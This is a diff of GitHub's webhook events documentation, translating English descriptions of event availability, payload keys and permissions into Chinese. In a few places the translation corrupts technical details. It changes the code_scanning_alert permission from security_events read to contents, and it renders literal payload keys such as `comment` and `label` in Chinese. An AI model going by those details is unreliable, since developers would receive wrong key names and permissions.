+| `X-GitHub-Enterprise-Version` | 发送 HTTP POST 有效负载的 {% data variables.product.prodname_ghe_server %} 实例的版本。                                                                                                                                                                                                                                                                                                                                                              |
+| `X-GitHub-Enterprise-Host`    | 发送 HTTP POST 有效负载的 {% data variables.product.prodname_ghe_server %} 实例的主机名。{% endif %}{% ifversion not ghae %}
+| `X-Hub-Signature`             | 如果使用 [`secret`](/rest/reference/repos#create-hook-config-params) 配置了 web 挂钩，则发送此标头。 This is the HMAC hex digest of the request body, and is generated using the SHA-1 hash function and the `secret` as the HMAC `key`.{% ifversion fpt or ghes or ghec %} `X-Hub-Signature` is provided for compatibility with existing integrations, and we recommend that you use the more secure `X-Hub-Signature-256` instead.{% endif %}{% endif %}
+| `X-Hub-Signature-256`         | 如果使用 [`secret`](/rest/reference/repos#create-hook-config-params) 配置了 web 挂钩，则发送此标头。 这是请求正文的 HMAC 十六进制摘要，它是使用 SHA-256 哈希函数和作为 HMAC `key` 的 `secret` 生成的。                                                                                                                                                                                                                                                                                   |
 
-Also, the `User-Agent` for the requests will have the prefix `GitHub-Hookshot/`.
+此外，请求的 `User-Agent` 将含有前缀 `GitHub-Hookshot/`。
 
-### Example delivery
+### 递送示例
 
 ```shell
 > POST /payload HTTP/2
@@ -103,26 +104,26 @@ Also, the `User-Agent` for the requests will have the prefix `GitHub-Hookshot/`.
 {% ifversion fpt or ghes > 3.2 or ghae or ghec %}
 ## branch_protection_rule
 
-Activity related to a branch protection rule. For more information, see "[About branch protection rules](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules)."
+与分支保护规则相关的活动。 更多信息请参阅“[关于分支保护规则](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules)”。
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with at least `read-only` access on repositories administration
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 对仓库管理至少拥有 `read-only` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `created`, `edited`, or `deleted`.
-`rule` | `object` | The branch protection rule. Includes a `name` and all the [branch protection settings](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-settings) applied to branches that match the name. Binary settings are boolean. Multi-level configurations are one of `off`, `non_admins`, or `everyone`. Actor and build lists are arrays of strings.
-`changes` | `object` | If the action was `edited`, the changes to the rule.
+| 键         | 类型    | 描述                                                                                                                                                                                                                                                         |
+| --------- | ----- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action`  | `字符串` | 执行的操作。 可以是 `created`、`edited` 或 `deleted`。                                                                                                                                                                                                                 |
+| `rule`    | `对象`  | 分支保护规则。 包括 `name` 以及适用于与名称匹配的分支的所有 [分支保护设置](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-settings)。 二进制设置是布尔值。 多级配置是 `off`、`non_admins` 或 `everyone` 之一。 执行者和构建列表是字符串数组。 |
+| `changes` | `对象`  | 如果操作是 `edited`，则为规则的更改。                                                                                                                                                                                                                                    |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.branch_protection_rule.edited }}
 {% endif %}
@@ -132,13 +133,13 @@ Key | Type | Description
 
 {% data reusables.apps.undetected-pushes-to-a-forked-repository-for-check-suites %}
 
-### Availability
+### 可用性
 
-- Repository webhooks only receive payloads for the `created` and `completed` event types in a repository
-- Organization webhooks only receive payloads for the `created` and `completed` event types in repositories
-- {% data variables.product.prodname_github_apps %} with the `checks:read` permission receive payloads for the `created` and `completed` events that occur in the repository where the app is installed. The app must have the `checks:write` permission to receive the `rerequested` and `requested_action` event types. The `rerequested` and `requested_action` event type payloads are only sent to the {% data variables.product.prodname_github_app %} being requested. {% data variables.product.prodname_github_apps %} with the `checks:write` are automatically subscribed to this webhook event.
+- 仓库 web 挂钩只接收仓库中 `created` 和 `completed` 事件类型的有效负载
+- 组织 web 挂钩只接收仓库中 `created` 和 `completed` 事件类型的有效负载
+- 具有 `checks:read` 权限的 {% data variables.product.prodname_github_apps %} 接收应用程序所在仓库中发生的 `created` 和 `completed` 事件的有效负载。 应用程序必须具有 `checks:write` 权限才能接收 `rerequested` 和 `requested_action` 事件类型。 `rerequested` 和 `requested_action` 事件类型有效负载仅发送到被请求的 {% data variables.product.prodname_github_app %}。 具有 `checks:write` 权限的 {% data variables.product.prodname_github_apps %} 会自动订阅此 web 挂钩事件。
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.check_run_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -146,7 +147,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.check_run.created }}
 
@@ -156,13 +157,13 @@ Key | Type | Description
 
 {% data reusables.apps.undetected-pushes-to-a-forked-repository-for-check-suites %}
 
-### Availability
+### 可用性
 
-- Repository webhooks only receive payloads for the `completed` event types in a repository
-- Organization webhooks only receive payloads for the `completed` event types in repositories
-- {% data variables.product.prodname_github_apps %} with the `checks:read` permission receive payloads for the `created` and `completed` events that occur in the repository where the app is installed. The app must have the `checks:write` permission to receive the `requested` and `rerequested` event types. The `requested` and `rerequested` event type payloads are only sent to the {% data variables.product.prodname_github_app %} being requested. {% data variables.product.prodname_github_apps %} with the `checks:write` are automatically subscribed to this webhook event.
+- 仓库 web 挂钩只接收仓库中 `completed` 事件类型的有效负载
+- 组织 web 挂钩只接收仓库中 `completed` 事件类型的有效负载
+- 具有 `checks:read` 权限的 {% data variables.product.prodname_github_apps %} 接收应用程序所在仓库中发生的 `created` 和 `completed` 事件的有效负载。 应用程序必须具有 `checks:write` 权限才能接收 `requested` 和 `rerequested` 事件类型。 `requested` 和 `rerequested` 事件类型有效负载仅发送到被请求的 {% data variables.product.prodname_github_app %}。 具有 `checks:write` 权限的 {% data variables.product.prodname_github_apps %} 会自动订阅此 web 挂钩事件。
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.check_suite_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -170,7 +171,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.check_suite.completed }}
 
@@ -178,21 +179,21 @@ Key | Type | Description
 
 {% data reusables.webhooks.code_scanning_alert_event_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `security_events :read` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `contents` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.code_scanning_alert_event_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
-`sender` | `object` | If the `action` is `reopened_by_user` or `closed_by_user`, the `sender` object will be the user that triggered the event. The `sender` object is {% ifversion fpt or ghec %}`github`{% elsif ghes > 3.0 or ghae %}`github-enterprise`{% else %}empty{% endif %} for all other actions.
+`sender` | `object` | 如果 `action` 是 `reopened_by_user` 或 `closed_by_user`，则 `sender` 对象将是触发事件的用户。 `sender` 对象对所有其他操作是 {% ifversion fpt or ghec %}`github` {% elsif ghes > 3.0 or ghae %}`github-enterprise` {% else %}空 {% endif %}。
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.code_scanning_alert.reopened }}
 
@@ -200,13 +201,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.commit_comment_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `contents` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.commit_comment_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -214,7 +215,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.commit_comment.created }}
 
@@ -223,13 +224,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.content_reference_short_desc %}
 
-Webhook events are triggered based on the specificity of the domain you register. For example, if you register a subdomain (`https://subdomain.example.com`) then only URLs for the subdomain trigger this event. If you register a domain (`https://example.com`) then URLs for domain and all subdomains trigger this event. See "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" to create a new content attachment.
+Web 挂钩事件是基于您注册的域的特异性而触发的。 例如，如果您注册了一个子域 (`https://subdomain.example.com`)，则只有该子域的 URL 才会触发此事件。 如果您注册了一个域 (`https://example.com`)，则该域及所有子域的 URL 都会触发此事件。 请参阅“[创建内容附件](/rest/reference/apps#create-a-content-attachment)”以创建新的内容附件。
 
-### Availability
+### 可用性
 
-- {% data variables.product.prodname_github_apps %} with the `content_references:write` permission
+- 具有 `content_references:write` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.content_reference.created }}
 
@@ -240,17 +241,17 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% note %}
 
-**Note:** You will not receive a webhook for this event when you push more than three tags at once.
+**注：**同时推送三个以上的标记时不会收到此事件的 web 挂钩。
 
 {% endnote %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `contents` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.create_properties %}
 {% data reusables.webhooks.pusher_type_desc %}
@@ -259,7 +260,7 @@ Webhook events are triggered based on the specificity of the domain you register
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.create }}
 
@@ -269,17 +270,17 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% note %}
 
-**Note:** You will not receive a webhook for this event when you delete more than three tags at once.
+**注：**同时删除三个以上的标记时不会收到此事件的 web 挂钩。
 
 {% endnote %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `contents` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.delete_properties %}
 {% data reusables.webhooks.pusher_type_desc %}
@@ -288,7 +289,7 @@ Webhook events are triggered based on the specificity of the domain you register
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.delete }}
 
@@ -296,19 +297,19 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% data reusables.webhooks.deploy_key_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
+- 仓库 web 挂钩
+- 组织 web 挂钩
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.deploy_key_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.deploy_key.created }}
 
@@ -316,24 +317,24 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% data reusables.webhooks.deployment_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `deployments` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `deployments` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------{% ifversion fpt or ghes or ghae or ghec %}
-`action` |`string` | The action performed. Can be `created`.{% endif %}
-`deployment` |`object` | The [deployment](/rest/reference/deployments#list-deployments).
+| 键            | 类型                                          | 描述                                                  |
+| ------------ | ------------------------------------------- | --------------------------------------------------- |{% ifversion fpt or ghes or ghae or ghec %}
+| `action`     | `字符串`                                       | 执行的操作。 可以是 `created`。{% endif %}
+| `deployment` | `对象`                                        | [部署](/rest/reference/deployments#list-deployments)。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.deployment }}
 
@@ -341,54 +342,54 @@ Key | Type | Description
 
 {% data reusables.webhooks.deployment_status_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `deployments` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `deployments` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------{% ifversion fpt or ghes or ghae or ghec %}
-`action` |`string` | The action performed. Can be `created`.{% endif %}
-`deployment_status` |`object` | The [deployment status](/rest/reference/deployments#list-deployment-statuses).
-`deployment_status["state"]` |`string` | The new state. Can be `pending`, `success`, `failure`, or `error`.
-`deployment_status["target_url"]` |`string` | The optional link added to the status.
-`deployment_status["description"]`|`string` | The optional human-readable description added to the status.
-`deployment` |`object` | The [deployment](/rest/reference/deployments#list-deployments) that this status is associated with.
+| 键                                  | 类型                                          | 描述                                                            |
+| ---------------------------------- | ------------------------------------------- | ------------------------------------------------------------- |{% ifversion fpt or ghes or ghae or ghec %}
+| `action`                           | `字符串`                                       | 执行的操作。 可以是 `created`。{% endif %}
+| `deployment_status`                | `对象`                                        | [部署状态](/rest/reference/deployments#list-deployment-statuses)。 |
+| `deployment_status["state"]`       | `字符串`                                       | 新状态。 可以是 `pending`、`success`、`failure` 或 `error`。             |
+| `deployment_status["target_url"]`  | `字符串`                                       | 添加到状态的可选链接。                                                   |
+| `deployment_status["description"]` | `字符串`                                       | 添加到状态的可选人类可读说明。                                               |
+| `deployment`                       | `对象`                                        | 此状态关联的[部署](/rest/reference/deployments#list-deployments)。     |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.deployment_status }}
 
 {% ifversion fpt or ghec %}
-## discussion
+## 讨论
 
 {% data reusables.webhooks.discussions-webhooks-beta %}
 
-Activity related to a discussion. For more information, see the "[Using the GraphQL API for discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
-### Availability
+与讨论有关的活动。 更多信息请参阅“[使用 GraphQL API 进行讨论]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)”。
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `discussions` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `discussions` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `created`, `edited`, `deleted`, `pinned`, `unpinned`, `locked`, `unlocked`, `transferred`, `category_changed`, `answered`, or `unanswered`.
+| 键        | 类型    | 描述                                                                                                                                          |
+| -------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action` | `字符串` | 执行的操作。 可以是 `created`、`edited`、`deleted`、`pinned`、`unpinned`、`locked`、`unlocked`、`transferred`、`category_changed`、`answered` 或 `unanswered`。 |
 {% data reusables.webhooks.discussion_desc %}
 {% data reusables.webhooks.repo_desc_graphql %}
 {% data reusables.webhooks.org_desc_graphql %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.discussion.created }}
 
@@ -396,63 +397,63 @@ Key | Type | Description
 
 {% data reusables.webhooks.discussions-webhooks-beta %}
 
-Activity related to a comment in a discussion. For more information, see "[Using the GraphQL API for discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
+与讨论中的评论相关的活动。 更多信息请参阅“[使用 GraphQL API 进行讨论]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)”。
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `discussions` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `discussions` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `created`, `edited`, or `deleted`.
-`comment` | `object` | The [`discussion comment`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions#discussioncomment) resource.
+| 键        | 类型    | 描述                                                                                                                                                      |
+| -------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action` | `字符串` | 执行的操作。 可以是 `created`、`edited` 或 `deleted`。                                                                                                              |
+| `注释，评论`  | `对象`  | [`discussion comment`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions#discussioncomment) 资源。 |
 {% data reusables.webhooks.discussion_desc %}
 {% data reusables.webhooks.repo_desc_graphql %}
 {% data reusables.webhooks.org_desc_graphql %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.discussion_comment.created }}
 {% endif %}
 
 {% ifversion ghes or ghae %}
 
-## enterprise
+## 企业
 
 {% data reusables.webhooks.enterprise_short_desc %}
 
-### Availability
+### 可用性
 
-- GitHub Enterprise webhooks. For more information, "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks/)."
+- GitHub Enterprise web 挂钩。 更多信息请参阅“[全局 web 挂钩](/rest/reference/enterprise-admin#global-webhooks/)”。
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `anonymous_access_enabled` or `anonymous_access_disabled`.
+| 键        | 类型    | 描述                                                                   |
+| -------- | ----- | -------------------------------------------------------------------- |
+| `action` | `字符串` | 执行的操作。 可以是 `anonymous_access_enabled` 或 `anonymous_access_disabled`。 |
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.enterprise.anonymous_access_enabled }}
 
 {% endif %}
 
-## fork
+## 复刻
 
 {% data reusables.webhooks.fork_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `contents` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.fork_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -460,28 +461,28 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.fork }}
 
 ## github_app_authorization
 
-When someone revokes their authorization of a {% data variables.product.prodname_github_app %}, this event occurs. A {% data variables.product.prodname_github_app %} receives this webhook by default and cannot unsubscribe from this event.
+当有人撤销对 {% data variables.product.prodname_github_app %} 的授权时，将发生此事件。 {% data variables.product.prodname_github_app %} 默认情况下会接收此 web 挂钩，并且无法取消订阅此事件。
 
-{% data reusables.webhooks.authorization_event %} For details about user-to-server requests, which require {% data variables.product.prodname_github_app %} authorization, see "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+{% data reusables.webhooks.authorization_event %} 有关 user-to-server 请求（需要 {% data variables.product.prodname_github_app %} 授权）的详细信息，请参阅“[识别和授权 {% data variables.product.prodname_github_apps %} 用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)”。
 
-### Availability
+### 可用性
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `revoked`.
+| 键        | 类型    | 描述                    |
+| -------- | ----- | --------------------- |
+| `action` | `字符串` | 执行的操作。 可以是 `revoked`。 |
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.github_app_authorization.revoked }}
 
@@ -489,13 +490,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.gollum_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `contents` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.gollum_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -503,25 +504,25 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.gollum }}
 
-## installation
+## 安装
 
 {% data reusables.webhooks.installation_short_desc %}
 
-### Availability
+### 可用性
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.installation_properties %}
 {% data reusables.webhooks.app_always_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.installation.deleted }}
 
@@ -529,17 +530,17 @@ Key | Type | Description
 
 {% data reusables.webhooks.installation_repositories_short_desc %}
 
-### Availability
+### 可用性
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.installation_repositories_properties %}
 {% data reusables.webhooks.app_always_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.installation_repositories.added }}
 
@@ -547,13 +548,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.issue_comment_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `issues` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `issues` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.issue_comment_webhook_properties %}
 {% data reusables.webhooks.issue_comment_properties %}
@@ -562,21 +563,21 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.issue_comment.created }}
 
-## issues
+## 议题
 
 {% data reusables.webhooks.issues_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `issues` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `issues` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.issue_webhook_properties %}
 {% data reusables.webhooks.issue_properties %}
@@ -585,72 +586,72 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example when someone edits an issue
+### 有人编辑议题时的 web 挂钩示例
 
 {{ webhookPayloadsForCurrentVersion.issues.edited }}
 
-## label
+## 标签
 
 {% data reusables.webhooks.label_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `metadata` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action`|`string` | The action that was performed. Can be `created`, `edited`, or `deleted`.
-`label`|`object` | The label that was added.
-`changes`|`object`| The changes to the label if the action was `edited`.
-`changes[name][from]`|`string` | The previous version of the name if the action was `edited`.
-`changes[color][from]`|`string` | The previous version of the color if the action was `edited`.
+| 键                      | 类型    | 描述                                           |
+| ---------------------- | ----- | -------------------------------------------- |
+| `action`               | `字符串` | 执行的操作内容. 可以是 `created`、`edited` 或 `deleted`。 |
+| `标签`                   | `对象`  | 添加的标签。                                       |
+| `changes`              | `对象`  | 对标签的更改（如果操作为 `edited`）。                      |
+| `changes[name][from]`  | `字符串` | 名称的先前版本（如果操作为 `edited`）。                     |
+| `changes[color][from]` | `字符串` | 颜色的先前版本（如果操作为 `edited`）。                     |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.label.deleted }}
 
 {% ifversion fpt or ghec %}
 ## marketplace_purchase
 
-Activity related to a GitHub Marketplace purchase. {% data reusables.webhooks.action_type_desc %} For more information, see the "[GitHub Marketplace](/marketplace/)."
+与 GitHub Marketplace 购买相关的活动。 {% data reusables.webhooks.action_type_desc %} 更多信息请参阅“[GitHub Marketplace](/marketplace/)”。
 
-### Availability
+### 可用性
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | The action performed for a [GitHub Marketplace](https://github.com/marketplace) plan. Can be one of:<ul><li>`purchased` - Someone purchased a GitHub Marketplace plan. The change should take effect on the account immediately.</li><li>`pending_change` - You will receive the `pending_change` event when someone has downgraded or cancelled a GitHub Marketplace plan to indicate a change will occur on the account. The new plan or cancellation takes effect at the end of the billing cycle.  The `cancelled` or `changed` event type will be sent when the billing cycle has ended and the cancellation or new plan should take effect.</li><li>`pending_change_cancelled` - Someone has cancelled a pending change. Pending changes include plan cancellations and downgrades that will take effect at the end of a billing cycle. </li><li>`changed` - Someone has upgraded or downgraded a GitHub Marketplace plan and the change should take effect on the account immediately.</li><li>`cancelled` - Someone cancelled a GitHub Marketplace plan and the last billing cycle has ended. The change should take effect on the account immediately.</li></ul>
+| 键        | 类型    | 描述                                                                                                  |
+| -------- | ----- | --------------------------------------------------------------------------------------------------- |
+| `action` | `字符串` | 为 [GitHub Marketplace](https://github.com/marketplace) 计划执行的操作。 可以是以下选项之一：<ul><li>`purchased` - 有人购买了 GitHub Marketplace 计划。 更改应立即对帐户生效。</li><li>`pending_change` - 当有人降级或取消了 GitHub Marketplace 计划以指示帐户上将发生更改时，您将收到 `pending_change` 事件。 新的计划或取消将在结算周期结束时生效。  当结算周期结束并且取消或新计划应生效时，将发送 `cancelled` 或 `changed` 事件类型。</li><li>`pending_change_cancelled` - 有人取消了待处理更改。 待处理更改包括将在结算周期结束时生效的计划取消和降级。 </li><li>`changed` - 有人升级或降级了 GitHub Marketplace 计划，并且该更改应立即对帐户生效。</li><li>`cancelled` - 有人取消了 GitHub Marketplace 计划并且最后一个结算周期已结束。 更改应立即对帐户生效。</li></ul> |
 
-For a detailed description of this payload and the payload for each type of `action`, see [{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/).
+有关此有效负载和每种 `action` 类型的有效负载的详细说明，请参阅 [{% data variables.product.prodname_marketplace %} web 挂钩事件](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)。
 
-### Webhook payload example when someone purchases the plan
+### 有人购买计划时的 web 挂钩示例
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.purchased }}
 
 {% endif %}
 
-## member
+## 成员
 
 {% data reusables.webhooks.member_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `members` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
